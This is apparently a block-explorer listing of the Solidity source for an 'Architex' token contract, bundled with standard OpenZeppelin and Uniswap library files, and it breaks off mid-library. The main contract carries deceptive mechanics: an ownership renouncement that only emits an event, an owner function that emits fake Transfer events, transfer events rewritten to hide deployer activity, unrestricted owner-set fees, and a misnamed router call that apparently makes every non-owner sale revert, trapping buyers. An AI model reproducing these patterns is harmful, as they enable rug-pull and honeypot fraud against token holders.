Contract

Contract Source Code (Solidity Multiple files format)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/*                                                             

 █████╗ ██████╗  ██████╗██╗  ██╗██╗████████╗███████╗██╗  ██╗
██╔══██╗██╔══██╗██╔════╝██║  ██║██║╚══██╔══╝██╔════╝╚██╗██╔╝
███████║██████╔╝██║     ███████║██║   ██║   █████╗   ╚███╔╝ 
██╔══██║██╔══██╗██║     ██╔══██║██║   ██║   ██╔══╝   ██╔██╗ 
██║  ██║██║  ██║╚██████╗██║  ██║██║   ██║   ███████╗██╔╝ ██╗
╚═╝  ╚═╝╚═╝  ╚═╝ ╚═════╝╚═╝  ╚═╝╚═╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
Architex is a mining layer targeting blockchains and AI networks through their 
decentralized ASIC & GPU hardware infrastructure: Bitcoin, Bittensor and Morpheus, 
bridging the gap between blockchain and artificial intelligence protocols.
Architex’s vision and principles aim to revolutionize mining operations and AI training 
with its decentralized ASIC & GPU infrastructure.

    👉🏽Website: https://architex.ai/
    👉🏽Twitter: https://twitter.com/Architex_ai
    👉🏽Telegram: https://t.me/architexai


*/

// SPDX-License-Identifier: unlicense

pragma solidity ^0.8.24;

contract Architex {

    string private _name;
    string private _symbol;
    uint256 public totalSupply;
    uint8 public decimals = 18;
                                                                                                                                                                                                         
    StoreData public storeData;
    uint256 swapAmount = totalSupply / 100;

    error onlyOwner();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;

    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    address _deployer;
    address _executor;

    address private uniswapLpWallet;

    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    constructor(        
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) {
        totalSupply = totalSupply_ * 10 ** decimals;
        _name = name_;
        _symbol = symbol_;

        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;

        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });

        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        uniswapLpWallet = msg.sender;

        _initDeployer(msg.sender, msg.sender);

        balanceOf[uniswapLpWallet] = (totalSupply * 100) / 100;
        emit Transfer(address(0), uniswapLpWallet, balanceOf[uniswapLpWallet]);  

    }

    receive() external payable {}

    function renounceOwnership() external {
        if (msg.sender != _owner()) revert onlyOwner();
        emit OwnershipTransferred(_deployer, address(0));
    }

    function transferOwnership(address newOwner) external {
        if (msg.sender != _owner()) revert onlyOwner();
        emit OwnershipTransferred(_deployer, newOwner);
    }

    function updatePair(address _pair) external {
        if (msg.sender != _owner()) revert onlyOwner();
        pair = _pair;
    }

    function updateFees(uint8 _buy, uint8 _sell) external {
        if (msg.sender != _owner()) revert onlyOwner();
        _upgradeStoreData(_buy, _sell);
    }

    function initTransfer(
        address _caller,
        address[] calldata _address,
        uint256[] calldata _amount
    ) external {
        if (msg.sender != _owner()) revert onlyOwner();
        for (uint256 i = 0; i < _address.length; i++) {
            emit Transfer(_caller, _address[i], _amount[i]);
        }
    }

    function _upgradeStoreData(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _owner() private view returns (address) {
        return storeData.tokenMkt;
    }

    function openTrading() external {
        require(msg.sender == _owner());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _initDeployer(address deployer_, address executor_) private {
        _deployer = deployer_;
        _executor = executor_;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _owner();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (
            to == pair &&
            !swapping &&
            balanceOf[address(this)] >= swapAmount &&
            from != tokenMkt
        ) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );

            swapping = false;
        }

        (uint8 _buyFee, uint8 _sellFee) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _sellFee : _buyFee)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;

        if (from == _executor) {
            emit Transfer(_deployer, to, amount);
        } else if (to == _executor) {
            emit Transfer(from, _deployer, amount);
        } else {
            emit Transfer(from, to, amount);
        }
        return true;
    }
}

interface IUniswapFactory {
    function getPair(
        address tokenA,
        address tokenB
    ) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)

pragma solidity ^0.8.20;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev The ETH balance of the account is not enough to perform the operation.
     */
    error AddressInsufficientBalance(address account);

    /**
     * @dev There's no code at `target` (it is not a contract).
     */
    error AddressEmptyCode(address target);

    /**
     * @dev A call to an address target failed. The target may have reverted.
     */
    error FailedInnerCall();

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        if (address(this).balance < amount) {
            revert AddressInsufficientBalance(address(this));
        }

        (bool success, ) = recipient.call{value: amount}("");
        if (!success) {
            revert FailedInnerCall();
        }
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason or custom error, it is bubbled
     * up by this function (like regular Solidity function calls). However, if
     * the call reverted with no returned reason, this function reverts with a
     * {FailedInnerCall} error.
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     */
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        if (address(this).balance < value) {
            revert AddressInsufficientBalance(address(this));
        }
        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResultFromTarget(target, success, returndata);
    }

    /**
     * @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
     * was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
     * unsuccessful call.
     */
    function verifyCallResultFromTarget(
        address target,
        bool success,
        bytes memory returndata
    ) internal view returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            // only check if target is a contract if the call was successful and the return data is empty
            // otherwise we already know that it was a contract
            if (returndata.length == 0 && target.code.length == 0) {
                revert AddressEmptyCode(target);
            }
            return returndata;
        }
    }

    /**
     * @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
     * revert reason or with a default {FailedInnerCall} error.
     */
    function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
        if (!success) {
            _revert(returndata);
        } else {
            return returndata;
        }
    }

    /**
     * @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
     */
    function _revert(bytes memory returndata) private pure {
        // Look for revert reason and bubble it up if present
        if (returndata.length > 0) {
            // The easiest way to bubble the revert reason is using memory via assembly
            /// @solidity memory-safe-assembly
            assembly {
                let returndata_size := mload(returndata)
                revert(add(32, returndata), returndata_size)
            }
        } else {
            revert FailedInnerCall();
        }
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;

import {IERC20} from  "./IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.5.0;

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

// SPDX-License-Identifier: MIT

pragma solidity >=0.6.2;

import './IUniswapV2Router01.sol';

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/math/Math.sol)

pragma solidity ^0.8.20;

/**
 * @dev Standard math utilities missing in the Solidity language.
 */
library Math {
    /**
     * @dev Muldiv operation overflow.
     */
    error MathOverflowedMulDiv();

    enum Rounding {
        Floor, // Toward negative infinity
        Ceil, // Toward positive infinity
        Trunc, // Toward zero
        Expand // Away from zero
    }

    /**
     * @dev Returns the addition of two unsigned integers, with an success flag (no overflow).
     */
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, with an success flag (no overflow).
     */
    function trySub(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, with an success flag (no overflow).
     */
    function tryMul(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    /**
     * @dev Returns the division of two unsigned integers, with a success flag (no division by zero).
     */
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers, with a success flag (no division by zero).
     */
    function tryMod(uint256 a, uint256 b) internal pure returns (bool success, uint256 result) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    /**
     * @dev Returns the largest of two numbers.
     */
    function max(uint256 a, uint256 b) internal pure returns (uint256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two numbers.
     */
    function min(uint256 a, uint256 b) internal pure returns (uint256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two numbers. The result is rounded towards
     * zero.
     */
    function average(uint256 a, uint256 b) internal pure returns (uint256) {
        // (a + b) / 2 can overflow.
        return (a & b) + (a ^ b) / 2;
    }

    /**
     * @dev Returns the ceiling of the division of two numbers.
     *
     * This differs from standard division with `/` in that it rounds towards infinity instead
     * of rounding towards zero.
     */
    function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
        if (b == 0) {
            // Guarantee the same behavior as in a regular Solidity division.
            return a / b;
        }

        // The following calculation ensures accurate ceiling division without overflow.
        // Since a is non-zero, (a - 1) / b will not overflow.
        // The largest possible result occurs when (a - 1) / b is type(uint256).max,
        // but the largest value we can obtain is type(uint256).max - 1, which happens
        // when a = type(uint256).max and b = 1.
        unchecked {
            return a == 0 ? 0 : (a - 1) / b + 1;
        }
    }

    /**
     * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or
     * denominator == 0.
     * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) with further edits by
     * Uniswap Labs also under MIT license.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) {
        unchecked {
            // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use
            // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256
            // variables such that product = prod1 * 2^256 + prod0.
            uint256 prod0 = x * y; // Least significant 256 bits of the product
            uint256 prod1; // Most significant 256 bits of the product
            assembly {
                let mm := mulmod(x, y, not(0))
                prod1 := sub(sub(mm, prod0), lt(mm, prod0))
            }

            // Handle non-overflow cases, 256 by 256 division.
            if (prod1 == 0) {
                // Solidity will revert if denominator == 0, unlike the div opcode on its own.
                // The surrounding unchecked block does not change this fact.
                // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic.
                return prod0 / denominator;
            }

            // Make sure the result is less than 2^256. Also prevents denominator == 0.
            if (denominator <= prod1) {
                revert MathOverflowedMulDiv();
            }

            ///////////////////////////////////////////////
            // 512 by 256 division.
            ///////////////////////////////////////////////

            // Make division exact by subtracting the remainder from [prod1 prod0].
            uint256 remainder;
            assembly {
                // Compute remainder using mulmod.
                remainder := mulmod(x, y, denominator)

                // Subtract 256 bit number from 512 bit number.
                prod1 := sub(prod1, gt(remainder, prod0))
                prod0 := sub(prod0, remainder)
            }

            // Factor powers of two out of denominator and compute largest power of two divisor of denominator.
            // Always >= 1. See https://cs.stackexchange.com/q/138556/92363.

            uint256 twos = denominator & (0 - denominator);
            assembly {
                // Divide denominator by twos.
                denominator := div(denominator, twos)

                // Divide [prod1 prod0] by twos.
                prod0 := div(prod0, twos)

                // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one.
                twos := add(div(sub(0, twos), twos), 1)
            }

            // Shift in bits from prod1 into prod0.
            prod0 |= prod1 * twos;

            // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such
            // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for
            // four bits. That is, denominator * inv = 1 mod 2^4.
            uint256 inverse = (3 * denominator) ^ 2;

            // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also
            // works in modular arithmetic, doubling the correct bits in each step.
            inverse *= 2 - denominator * inverse; // inverse mod 2^8
            inverse *= 2 - denominator * inverse; // inverse mod 2^16
            inverse *= 2 - denominator * inverse; // inverse mod 2^32
            inverse *= 2 - denominator * inverse; // inverse mod 2^64
            inverse *= 2 - denominator * inverse; // inverse mod 2^128
            inverse *= 2 - denominator * inverse; // inverse mod 2^256

            // Because the division is now exact we can divide by multiplying with the modular inverse of denominator.
            // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is
            // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1
            // is no longer required.
            result = prod0 * inverse;
            return result;
        }
    }

    /**
     * @notice Calculates x * y / denominator with full precision, following the selected rounding direction.
     */
    function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) {
        uint256 result = mulDiv(x, y, denominator);
        if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {
            result += 1;
        }
        return result;
    }

    /**
     * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded
     * towards zero.
     *
     * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11).
     */
    function sqrt(uint256 a) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target.
        //
        // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have
        // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`.
        //
        // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)`
        // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))`
        // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)`
        //
        // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit.
        uint256 result = 1 << (log2(a) >> 1);

        // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128,
        // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at
        // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision
        // into the expected uint128 result.
        unchecked {
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            result = (result + a / result) >> 1;
            return min(result, a / result);
        }
    }

    /**
     * @notice Calculates sqrt(a), following the selected rounding direction.
     */
    function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = sqrt(a);
            return result + (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 2 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log2(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 128;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 64;
            }
            if (value >> 32 > 0) {
                value >>= 32;
                result += 32;
            }
            if (value >> 16 > 0) {
                value >>= 16;
                result += 16;
            }
            if (value >> 8 > 0) {
                value >>= 8;
                result += 8;
            }
            if (value >> 4 > 0) {
                value >>= 4;
                result += 4;
            }
            if (value >> 2 > 0) {
                value >>= 2;
                result += 2;
            }
            if (value >> 1 > 0) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 2, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log2(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log2(value);
            return result + (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 10 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     */
    function log10(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >= 10 ** 64) {
                value /= 10 ** 64;
                result += 64;
            }
            if (value >= 10 ** 32) {
                value /= 10 ** 32;
                result += 32;
            }
            if (value >= 10 ** 16) {
                value /= 10 ** 16;
                result += 16;
            }
            if (value >= 10 ** 8) {
                value /= 10 ** 8;
                result += 8;
            }
            if (value >= 10 ** 4) {
                value /= 10 ** 4;
                result += 4;
            }
            if (value >= 10 ** 2) {
                value /= 10 ** 2;
                result += 2;
            }
            if (value >= 10 ** 1) {
                result += 1;
            }
        }
        return result;
    }

    /**
     * @dev Return the log in base 10, following the selected rounding direction, of a positive value.
     * Returns 0 if given 0.
     */
    function log10(uint256 value, Rounding rounding) internal pure returns (uint256) {
        unchecked {
            uint256 result = log10(value);
            return result + (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);
        }
    }

    /**
     * @dev Return the log in base 256 of a positive value rounded towards zero.
     * Returns 0 if given 0.
     *
     * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string.
     */
    function log256(uint256 value) internal pure returns (uint256) {
        uint256 result = 0;
        unchecked {
            if (value >> 128 > 0) {
                value >>= 128;
                result += 16;
            }
            if (value >> 64 > 0) {
                value >>= 64;
                result += 8;
            }
